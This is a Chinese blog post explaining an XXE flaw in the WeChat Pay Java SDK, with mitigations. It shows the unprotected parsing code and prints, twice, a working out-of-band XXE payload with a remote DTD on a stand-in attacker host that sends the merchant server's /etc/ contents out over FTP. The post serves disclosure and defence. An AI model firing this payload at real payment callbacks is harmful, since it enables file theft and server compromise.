微信支付sdk被曝xxe漏洞,漏洞原理分析
2018-07-04 17:16
411 查看
昨日在国外安全社区seclists有一个署名叫Rose Jackcode的白帽子公布了微信支付sdk的一个严重的安全漏洞(xxe漏洞)。攻击者可以伪造一个恶意的回调数据请求(xml格式),读取商户服务器上任意文件,甚至可以执行远程系统命令,导致商户服务器被入侵。
目前微信支付安全团队表示已对该SDK进行更新,修复了已知的安全漏洞,并在此提醒商户及时更新。
虽然微信支付官网上的sdk更新了,但是漏洞是存在于商户的网站系统中,需要商户下载最新的sdk对系统进行更新发布(或者看下面的自己修复方案)。因此目前还有大量的微信商户系统存在此漏洞,相关商户需要及时更新。
来看看该微信支付sdk漏洞如何造成的:
什么是xxe漏洞,xxe全称为XML External Entity attack,即XML外部实体漏洞。XML定义的外部实体可以载入本地或者远程的内容。
受影响版本: WxPayAPI_JAVA_v3.zip (之前版本的应该也受影响)
漏洞版本sdk中的README.md出示的例子:
WXPayUtil里:
如何模拟利用此漏洞:
向商家回调的url中模拟post以下xml数据:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [ <!ENTITY % attack SYSTEM "file:///etc/">
<!ENTITY % hxt SYSTEM "http://attack:8080/shell/data.dtd";>
%hxt;
]>
http://attack:8080为攻击者自己搭建的服务器,在data.dtd中写上:
<!ENTITY % shell "<!ENTITY % upload SYSTEM 'http://my.oschina.net/passerman/blog/ftp:/attack:33/%attack; '>">
%shell;
%upload;
触发XXE攻击后,商家服务器会把/etc/的内容发送到攻击者的ftp://attack:33上。
不用最新版sdk修复方案:
方案1.
禁用外部实体,在WXPayUtil里
DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
下面加上
documentBuilderFactory.setExpandEntityReferences(false);
方案2.
过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
目前微信支付安全团队表示已对该SDK进行更新,修复了已知的安全漏洞,并在此提醒商户及时更新。
虽然微信支付官网上的sdk更新了,但是漏洞是存在于商户的网站系统中,需要商户下载最新的sdk对系统进行更新发布(或者看下面的自己修复方案)。因此目前还有大量的微信商户系统存在此漏洞,相关商户需要及时更新。
来看看该微信支付sdk漏洞如何造成的:
什么是xxe漏洞,xxe全称为XML External Entity attack,即XML外部实体漏洞。XML定义的外部实体可以载入本地或者远程的内容。
受影响版本: WxPayAPI_JAVA_v3.zip (之前版本的应该也受影响)
漏洞版本sdk中的README.md出示的例子:
String notifyData = "...."; MyConfig config = new MyConfig(); WXPay wxpay = new WXPay(config); //conver to map Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData); ....
WXPayUtil里:
public static Map<String, String> xmlToMap(String strXML) throws Exception { Map<String, String> data = new HashMap<String, String>(); DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); // 没有xxe防范 DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); InputStream stream = new ByteArrayInputStream(strXML.getBytes( "UTF-8")); org.w3c.dom.Document doc = documentBuilder.parse(stream); ... }
如何模拟利用此漏洞:
向商家回调的url中模拟post以下xml数据:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [ <!ENTITY % attack SYSTEM "file:///etc/">
<!ENTITY % hxt SYSTEM "http://attack:8080/shell/data.dtd";>
%hxt;
]>
http://attack:8080为攻击者自己搭建的服务器,在data.dtd中写上:
<!ENTITY % shell "<!ENTITY % upload SYSTEM 'http://my.oschina.net/passerman/blog/ftp:/attack:33/%attack; '>">
%shell;
%upload;
触发XXE攻击后,商家服务器会把/etc/的内容发送到攻击者的ftp://attack:33上。
不用最新版sdk修复方案:
方案1.
禁用外部实体,在WXPayUtil里
DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
下面加上
documentBuilderFactory.setExpandEntityReferences(false);
方案2.
过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
相关文章推荐
- 浅谈web上存漏洞及原理分析、防范方法(安全文件上存方法)
- PHP文件包含漏洞原理分析和利用方法
- PHP文件包含漏洞原理分析和利用方法
- 探讨:web上存漏洞及原理分析、防范方法
- MS10-046_LNK文件快捷方式漏洞的原理分析(多图杀猫)
- Motorola Razr ICS手机Root漏洞与利用原理分析
- 文件名截断漏洞原理分析
- CVE-2014-0038内核漏洞原理与本地提权利用代码实现分析 作者:seteuid0
- Ms-05039漏洞原理分析
- MS09-002 IE7 漏洞原理分析
- 【重大漏洞预警】Struts2 远程代码执行漏洞 S2-045 原理初步分析
- IE7 0Day 漏洞分析及防御原理(图)
- PHP文件包含漏洞原理分析和利用方法
- 打印机PCL漏洞原理分析
- 文件包含漏洞原理分析
- PHP文件包含漏洞原理分析和利用方法
- PHP文件包含漏洞原理分析和利用方法
- web上存漏洞及原理分析、防范方法
- PHP文件包含漏洞原理分析和利用方法
- PHP文件包含漏洞原理分析和利用方法